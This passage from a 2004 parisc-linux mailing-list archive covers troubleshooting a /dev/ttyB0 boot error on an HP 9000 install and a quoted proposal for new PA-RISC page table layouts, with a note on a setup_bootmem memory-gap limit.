Note that you won't even need to incur an extra instruction in the
tlb miss handler to do the shift, because the deposit to clear the valid
bit can be converted to a zdep to both clear the bit(s) and shift. I
think you have to use a different target register in that case though.

John


From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 0.9 release (HP 9000/800/K580 install problem)
Date: Fri, 9 Apr 2004 18:49:21 +0200
Organization: ESIEE
Lines: 120
Approved: news@gmane.org
Message-ID: <20040409184921.7cf1f5a5.varenet@esiee.fr>
References: <20040408231826.GB32148@csu6223286.mcilink.com>
	<20040409094050.639494f0.puffin@esiee.fr>
	<20040409113100.GA1716@csu6223286.mcilink.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623353 8098 80.91.229.3 (22 Nov 2014 02:29:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: david.everly@mci.com
Original-X-From: varenet@esiee.fr  Fri Apr  9 10:49:27 2004
Return-Path: <varenet@esiee.fr>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (d050.dhcp212-198-139.noos.fr [212.198.139.50])
	by dsl2.external.hp.com (Postfix) with ESMTP id 363BD487A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Apr 2004 10:49:26 -0600 (MDT)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with SMTP
	id ABDAC33D4B; Fri,  9 Apr 2004 18:49:22 +0200 (CEST)
In-Reply-To: <20040409113100.GA1716@csu6223286.mcilink.com>
X-Mailer: Sylpheed version 0.9.6claws (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 16:49:27 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21352

I have just checked on a system installed using that particular netinst,
ttyB0 is well created:

varenet@Tigrou:~$ ls -l /dev/ttyB0 
crw-rw----    1 root     dialout   60,   0 Jun  7  2002 /dev/ttyB0

You're the second person to report that problem on the mailing list (check
the archive) and I just can't figure out what's wrong with your setup.

I don't have any box requiring the use of ttyB0 handy to make some tests
here, but the ttyB0 stuff has been in the netinsts for quite a while now
and has been reported to work fine.

Anyway, check that mail, it seems that's there's a solution with newer
kernels, with a new major number for /dev/ttyB0:
http://lists.parisc-linux.org/pipermail/parisc-linux/2004-April/022830.html

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://www.pateam.org/


On Fri, 09 Apr 2004 05:31:00 -0600
david.everly@mci.com wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Thank you for your fast reply!
> 
> I installed the base system from the netinst ISO.  There seemed to be
> no option to install from the network during this stage.  I'm wondering
> if somehow /dev/ttyB0 was not created when the base system was installed
> (even though it was there on the CD used for the install).  I think
> maybe this device is not needed for all hardware, but is needed for my
> particular setup, which would explain why it works for some others.
> 
> If this is the case, would you have any information as to how I can
> boot from the netinst CD, open a shell and add /dev/ttyB0 to the
> permanent installation?
> 
> Or perhaps I'm way off base here and you have some better
> instructions.   :)
> 
> I'm more familiar with using Debian i386, so I have another small
> (perhaps stupid) question about palinux:  is there a limit to partitions
> on one disk?  The reason I asked is I tried to make four partitions on
> one 9G drive (the first was type f0, the remaining three were linux).
> The installer could only see the first two linux partitions and not
> the third linux partition.  Thus, I revised my plan and only used two
> linux partitions on that drive.
> 
> Thank you again,
> Dave.
> 
> On Fri, Apr 09, 2004 at 01:40:50AM MDT, The PA/Linux ESIEE Team wrote:
> > This looks very strange to me since 2.4.21-pa6 is known to be working
> > just fine for any supported box.
> > 
> > I can see one pitfall though: have you installed base system from the
> > netinst ISO or from network?
> > 
> > HTH,
> > 
> > Thibaut VARENE
> > The PA/Linux ESIEE Team
> > http://www.pateam.org/
> > 
> > On Thu, 08 Apr 2004 17:18:27 -0600
> > "David Everly" <david.everly@mci.com> wrote:
> > 
> > > Hi,
> > > 
> > > I tried to install the following on HP 9000/800/K580:
> > > 
> > > http://www.pateam.org/cd-images/testing/palinux-2.4.21-pa6-20030718-netinst.iso
> > > 
> > > After installing kernel, configuring network, etc. it came time to
> > > reboot.  Upon reboot I got the following message and could not
> > > finish the install:
> > > 
> > > Starting periodic command scheduler: cron
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > INIT: Id "T0" respawning to fast: disabled for 5 minutes
> > > INIT: no more processes left in this runlevel
> > > 
> > > Any suggestions on what I do now to either re-install or continue
> > > from this point?
> > > 
> > > Thanks,
> > > Dave.
> - -- 
> David.Everly@mci.com
>       IM: deckrider@jabber.org
>    GnuPG: E1B6 40B6 B73F 695E 0D3B  644E 6427 DD74 8527 B9AF
> 
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.4 (GNU/Linux)
> 
> iD8DBQFAdol0ZCfddIUnua8RAkyrAJwNAMVn0GTm5+EZfFG/fQkS70x0qQCfUUfn
> S6PuwNXOcpBwxihYV9llGww=
> =cn2C
> -----END PGP SIGNATURE-----
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Everly <david.everly@mci.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 0.9 release (HP 9000/800/K580 install problem)
Date: Fri, 09 Apr 2004 10:44:19 -0600
Lines: 114
Approved: news@gmane.org
Message-ID: <20040409164419.GA2405@csu6223286.mcilink.com>
References: <20040408231826.GB32148@csu6223286.mcilink.com>
	<20040409094050.639494f0.puffin@esiee.fr>
	<20040409113100.GA1716@csu6223286.mcilink.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-action=pgp-signed
X-Trace: ger.gmane.org 1416623354 8100 80.91.229.3 (22 Nov 2014 02:29:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:14 +0000 (UTC)
To: The PA/Linux ESIEE Team <puffin@esiee.fr>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: david.everly@mci.com  Fri Apr  9 10:50:54 2004
Return-Path: <david.everly@mci.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from omzesmtp04.mci.com (omzesmtp04.mci.com [199.249.17.14])
	by dsl2.external.hp.com (Postfix) with ESMTP id 77533487A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Apr 2004 10:50:54 -0600 (MDT)
Original-Received: from pmismtp01.wcomnet.com ([166.38.62.36])
	by firewall.mci.com (Iplanet MTA 5.2)
	with ESMTP id <0HVW0008BX5WJN@firewall.mci.com> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 09 Apr 2004 16:44:21 +0000 (GMT)
Original-Received: from pmismtp01.wcomnet.com by pmismtp01.mcilink.com
	(iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
	with SMTP id <0HVW00E01X5W99@pmismtp01.mcilink.com>; Fri,
	09 Apr 2004 16:44:20 +0000 (GMT)
Original-Received: from csu6223286.mcilink.com ([166.34.135.226])
	by pmismtp01.mcilink.com
	(iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
	with ESMTP id <0HVW00D9YX5WTS@pmismtp01.mcilink.com>; Fri,
	09 Apr 2004 16:44:20 +0000 (GMT)
Original-Received: from deverly by csu6223286.mcilink.com with local
	(Exim 3.36 #1 (Debian))	id 1BBz75-0000gZ-00;
	Fri, 09 Apr 2004 10:44:19 -0600
In-reply-to: <20040409113100.GA1716@csu6223286.mcilink.com>
Content-disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 16:50:54 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21353

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Some more information that invalidates some thing I said below:

/dev/ttyB0 was in fact already installed (/target/dev/ttyB0 when
booting from the CD to check), even though the inittab line
seems to fail when booting and trying to run base-config

Any ideas of what I might change?

On Fri, Apr 09, 2004 at 05:31:00AM MDT, david.everly@mci.com wrote:
> Thank you for your fast reply!
> 
> I installed the base system from the netinst ISO.  There seemed to be
> no option to install from the network during this stage.  I'm wondering
> if somehow /dev/ttyB0 was not created when the base system was installed
> (even though it was there on the CD used for the install).  I think
> maybe this device is not needed for all hardware, but is needed for my
> particular setup, which would explain why it works for some others.
> 
> If this is the case, would you have any information as to how I can
> boot from the netinst CD, open a shell and add /dev/ttyB0 to the
> permanent installation?
> 
> Or perhaps I'm way off base here and you have some better
> instructions.   :)
> 
> I'm more familiar with using Debian i386, so I have another small
> (perhaps stupid) question about palinux:  is there a limit to partitions
> on one disk?  The reason I asked is I tried to make four partitions on
> one 9G drive (the first was type f0, the remaining three were linux).
> The installer could only see the first two linux partitions and not
> the third linux partition.  Thus, I revised my plan and only used two
> linux partitions on that drive.
> 
> Thank you again,
> Dave.
> 
> On Fri, Apr 09, 2004 at 01:40:50AM MDT, The PA/Linux ESIEE Team wrote:
> > This looks very strange to me since 2.4.21-pa6 is known to be working
> > just fine for any supported box.
> > 
> > I can see one pitfall though: have you installed base system from the
> > netinst ISO or from network?
> > 
> > HTH,
> > 
> > Thibaut VARENE
> > The PA/Linux ESIEE Team
> > http://www.pateam.org/
> > 
> > On Thu, 08 Apr 2004 17:18:27 -0600
> > "David Everly" <david.everly@mci.com> wrote:
> > 
> > > Hi,
> > > 
> > > I tried to install the following on HP 9000/800/K580:
> > > 
> > > http://www.pateam.org/cd-images/testing/palinux-2.4.21-pa6-20030718-netinst.iso
> > > 
> > > After installing kernel, configuring network, etc. it came time to
> > > reboot.  Upon reboot I got the following message and could not finish
> > > the install:
> > > 
> > > Starting periodic command scheduler: cron
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > /bin/sh: /dev/ttyB0: No such device
> > > INIT: Id "T0" respawning to fast: disabled for 5 minutes
> > > INIT: no more processes left in this runlevel
> > > 
> > > Any suggestions on what I do now to either re-install or continue from
> > > this point?
> > > 
> > > Thanks,
> > > Dave.
> -- 
> David.Everly@mci.com
>       IM: deckrider@jabber.org
>    GnuPG: E1B6 40B6 B73F 695E 0D3B  644E 6427 DD74 8527 B9AF
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

- -- 
David.Everly@mci.com
   V-Net:       622-3286
   Phone: 1-719-535-3286
   Pager: 1-800-PAGE-MCI # 140-1311
      IM: deckrider@jabber.org
   GnuPG: E1B6 40B6 B73F 695E 0D3B  644E 6427 DD74 8527 B9AF

http://agilemanifesto.org/principles.html
http://www.expita.com/nomime.html

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAdtLjZCfddIUnua8RAhRPAKCmQjYlfGapqHCSxjiatPkgYmSBhwCfV/2F
QhMSWJHJoZbJNVYVxMATqoc=
=WWEN
-----END PGP SIGNATURE-----


From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Everly <david.everly@mci.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 0.9 release (HP 9000/800/K580 install problem)
Date: Fri, 09 Apr 2004 11:13:16 -0600
Lines: 46
Approved: news@gmane.org
Message-ID: <20040409171316.GC2405@csu6223286.mcilink.com>
References: <20040408231826.GB32148@csu6223286.mcilink.com>
	<20040409094050.639494f0.puffin@esiee.fr>
	<20040409113100.GA1716@csu6223286.mcilink.com>
	<20040409184921.7cf1f5a5.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-action=pgp-signed
X-Trace: ger.gmane.org 1416623354 8102 80.91.229.3 (22 Nov 2014 02:29:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: david.everly@mci.com  Fri Apr  9 11:13:19 2004
Return-Path: <david.everly@mci.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pmesmtp01.mci.com (pmesmtp01.wcom.com [199.249.20.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 62D14482D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Apr 2004 11:13:19 -0600 (MDT)
Original-Received: from pmismtp02.wcomnet.com ([166.38.62.37])
	by firewall.mci.com (Iplanet MTA 5.2)
	with ESMTP id <0HVW00EHLYI6DG@firewall.mci.com> for
	parisc-linux@lists.parisc-linux.org;
	Fri, 09 Apr 2004 17:13:18 +0000 (GMT)
Original-Received: from pmismtp02.wcomnet.com by pmismtp02.mcilink.com
	(iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
	with SMTP id <0HVW00N01YI64O@pmismtp02.mcilink.com>; Fri,
	09 Apr 2004 17:13:18 +0000 (GMT)
Original-Received: from csu6223286.mcilink.com ([166.34.135.226])
	by pmismtp02.mcilink.com
	(iPlanet Messaging Server 5.2 HotFix 1.14 (built Mar 18 2003))
	with ESMTP id <0HVW00M3FYI5Z7@pmismtp02.mcilink.com>; Fri,
	09 Apr 2004 17:13:17 +0000 (GMT)
Original-Received: from deverly by csu6223286.mcilink.com with local
	(Exim 3.36 #1 (Debian))	id 1BBzZ7-0000it-00;
	Fri, 09 Apr 2004 11:13:17 -0600
In-reply-to: <20040409184921.7cf1f5a5.varenet@esiee.fr>
Content-disposition: inline
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 17:13:19 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21354

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Ah yes! I've been searching the archives for something like that, but
apparently not the right search terms.  I will try this and report back.

Thanks.

On Fri, Apr 09, 2004 at 10:49:21AM MDT, Thibaut VARENE wrote:
> I have just checked on a system installed using that particular netinst,
> ttyB0 is well created:
> 
> varenet@Tigrou:~$ ls -l /dev/ttyB0 
> crw-rw----    1 root     dialout   60,   0 Jun  7  2002 /dev/ttyB0
> 
> You're the second person to report that problem on the mailing list (check
> the archive) and I just can't figure out what's wrong with your setup.
> 
> I don't have any box requiring the use of ttyB0 handy to make some tests
> here, but the ttyB0 stuff has been in the netinsts for quite a while now
> and has been reported to work fine.
> 
> Anyway, check that mail, it seems that's there's a solution with newer
> kernels, with a new major number for /dev/ttyB0:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2004-April/022830.html
> 
> HTH,
> 
> 
> Thibaut VARENE
> The PA/Linux ESIEE Team
> http://www.pateam.org/

- -- 
David.Everly@mci.com
      IM: deckrider@jabber.org
   GnuPG: E1B6 40B6 B73F 695E 0D3B  644E 6427 DD74 8527 B9AF

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAdtmsZCfddIUnua8RAo3RAJ9ewYF41xrgfoswP5hr5Yf/jvzzKACfUjVI
BjSPi8JTGTrGV+U1f8bF1ok=
=0xhg
-----END PGP SIGNATURE-----


From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 0.9 release (HP 9000/800/K580 install problem)
Date: Fri, 9 Apr 2004 13:27:41 -0400 (EDT)
Lines: 11
Approved: news@gmane.org
Message-ID: <200404091727.i39HRfco025986@hiauly1.hia.nrc.ca>
References: <20040409171316.GC2405@csu6223286.mcilink.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623354 8105 80.91.229.3 (22 Nov 2014 02:29:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:14 +0000 (UTC)
Cc: varenet@esiee.fr, parisc-linux@lists.parisc-linux.org
To: david.everly@mci.com (David Everly)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Apr  9 11:27:47 2004
Return-Path: <dave@hiauly1.hia.nrc.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id BC0CB482D
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Apr 2004 11:27:46 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i39HRfw0025987; Fri, 9 Apr 2004 13:27:42 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i39HRfco025986;
	Fri, 9 Apr 2004 13:27:41 -0400 (EDT)
In-Reply-To: <20040409171316.GC2405@csu6223286.mcilink.com> from "David
	Everly" at Apr 9, 2004 11:13:16 am
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 17:27:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21355

> Ah yes! I've been searching the archives for something like that, but
> apparently not the right search terms.  I will try this and report back.

I think the major number for the device file needs to be changed.
Search for "mknod".

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Proposal for altering our Page Table layouts
Date: Fri, 09 Apr 2004 20:12:51 +0000
Lines: 146
Approved: news@gmane.org
Message-ID: <407703C3.8050708@tiscali.be>
References: <1081513015.1759.5.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623355 8106 80.91.229.3 (22 Nov 2014 02:29:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:29:15 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: soete.joel@tiscali.be  Fri Apr  9 14:12:58 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from spoolo4.tiscali.be (spoolo4.tiscali.be [62.235.13.170])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A584482A
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Apr 2004 14:12:57 -0600 (MDT)
Original-Received: from [83.134.223.208] (port=32790 helo=tiscali.be)
	by spoolo4.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BC2My-0000SD-2f; Fri, 09 Apr 2004 22:12:56 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040401 Debian/1.6-4
X-Accept-Language: en
In-Reply-To: <1081513015.1759.5.camel@mulgrave>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Fri, 09 Apr 2004 20:12:58 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21356

Hi James,

James Bottomley wrote:
> Current state of Play
> =====================
> 
> On PA, we currently have different page table layouts depending on
> whether we're running a 64 bit (LP64) or 32 bit (ILP32) kernel.  PA
> has a so called software TLB, which means that each PA processor
> contains a number of fixed TLB entries and if the current virtual
> address is not in one of them the processor takes a TLB miss fault and
> the fault routine gets to locate the TLB entry and insert it (usually
> causing the processor to throw out another TLB entry).  This software
> TLB policy means that our page table structure is really up to us.
> 
> On ILP32 we have a 2 level page table, with a 4k directory pointing to
> a page of 4k containing the entries, each entry pointing to a physical
> page and taking 4 bytes (covering 1024*1024*4096 = 4GB total).
> 
> On LP64 we have a 3 level page table, with a 4k directory pointing to
> a 4k mid-directory pointing to a page of 4k containing entries.  Since
> our pointers here are 8 bytes, 4k only contains 512 of them, so we
> cover 512 * 512 * 512 * 4096 = 512GB
> 
> One disadvantage on LP64 is that even though our user-space is mostly
> ILP32, we still incur the overhead of a three level lookup.
> 
> Another problem with this is that each Page table Entry (PTE) needs to
> contain certain flags (some are mandated by Linux, others are needed
> to control the type of TLB entries we insert).  Since each PTE points
> to a page (and thus must be page aligned), we get the lower 12 bits of
> the address for the flags.  If you look in asm/pgtable.h, you'll see
> that all of those bits are already in use for 13 flags (we overload
> _PAGE_FILE and _PAGE_DIRTY).
> 
> In order to solve our cache flush penalty on fork/exec, and implement
> stingy flushing, we need to be able to mark a page as being "in
> cache", and would need an extra flag to do this with.  Additionally,
> at some point in the future it would be nice to be able to be adaptive
> about page size (i.e. r-x regions are just faulted binary text, we
> could cover them with 16k or even 64k pages for efficiency and Linux
> would be none the wiser).
> 
> To achieve all of this, we need quite a large expansion in the number
> of available flags.
> 
> So:
> 
> New Proposal for Page Table Layout
> ==================================
> 
> The proposal is:
> 
> 1) Make the PTE on both ILP32 and LP64 8 bytes.  Even on LP64, the
>    maximum addressable physical memory is 48bits (256EB), so we can
>    use the top 16 bits for additional flags.  On ILP32 we'd have an
>    extra long, so again, we use the top 16 bits for flags and leave
>    the lower 16 bits unused.  This gives us identical PTE layouts on
>    both ILP32 and LP64
> 
> 2) Make the directories 8k in size (this has to be physically
>    contiguous because the TLB miss handler operates in absolute
>    space).
> 
> 3) Allocate all page tables in ZONE_DMA.  On PA, this means that the
>    physical address of every page table will be under 4GB, so we only
>    need *four* bytes for all of the directory entries. (The flags I'm
>    looking for are only in the PTE, we have plenty of extra space
>    still for directory flags).
> 
I would just take the opportunity to mentioned you a pb I encounter on N4k model
(typicaly requiring 64bit kernel) with 2 cpu and 4Gb of ram. I can just run a up kernel (2.6.5-pa5 :) )
which only uses only 2 of the 4 Gb of the available ram.
Thanks to Matthew (http://lists.parisc-linux.org/pipermail/parisc-linux/2004-February/022393.html)
and Grant (http://lists.parisc-linux.org/pipermail/parisc-linux/2004-February/022408.html),
I can figure out the following stuff:
 > <==== actualy return by setup_bootmem() ====>
 > pmem_ranges[0].start_pfn = 0.
 > pmem_ranges[0].pages = 524288.
 > pmem_ranges[1].start_pfn = 1572864.
 >
There is so an actual gap too big for setup_bootmem():
(in arch/parisc/kernel/init.c)
[snip]
#define MAX_GAP (0x40000000UL >> PAGE_SHIFT)

static void __init setup_bootmem(void)
{
[snip]
#ifdef __LP64__

#ifndef CONFIG_DISCONTIGMEM
[snip]
         for (i = 1; i < npmem_ranges; i++) {
                 if (pmem_ranges[i].start_pfn -
                         (pmem_ranges[i-1].start_pfn +
                          pmem_ranges[i-1].pages) > MAX_GAP) {
                         npmem_ranges = i;
                         break;
                 }
         }
#endif
[snip]

I try to have a look to implement 'CONFIG_DISCONTIGMEM' but I am not a developer and have not enough kernel knowledge to do it.

Just in the hope it could help you,
	Joel
> Now, if you put all this together, you'll see that for ILP32
> executables on the LP64 kernel, we only need a two level page table
> (2048 directory entries * 512 PTEs * 4096 = 4GB), saving us one level
> of indirect lookup.
> 
> Additionally, if we ever get around to implementing LP64 user binaries
> (and you know who you are...) we would then be able to address up to
> 2048 * 2048 * 512 * 4096 = 8EB of virtual space using a three level
> page table.
> 
> The disadvantages:
> 
> 1) Our directory entries become order one allocations.  Linux is
>    careful about this, so these type of allocations should be
>    plentiful and we only need one directory per ILP32 process anyway.
> 
> 2) we have to allocate GFP_DMA.  Since very few people actually have a
>    PA machine with more than 4GB of ram, this shouldn't be too much of
>    a problem.
> 
> The advantages:
> 
> 1) We get an extra sixteen PTE flags to play with.
> 
> 2) We use 2 level page tables for ILP32 user processes on LP64.
> 
> 3) We can unify the narrow and wide TLB miss handlers (we'd actually
>    predicate the 2 or 3 level lookup on the width of the user binary).
> 
> James
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 


From - Thu Nov 08 21:31:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.5-rc2-pa2 boot panic on c110 :(
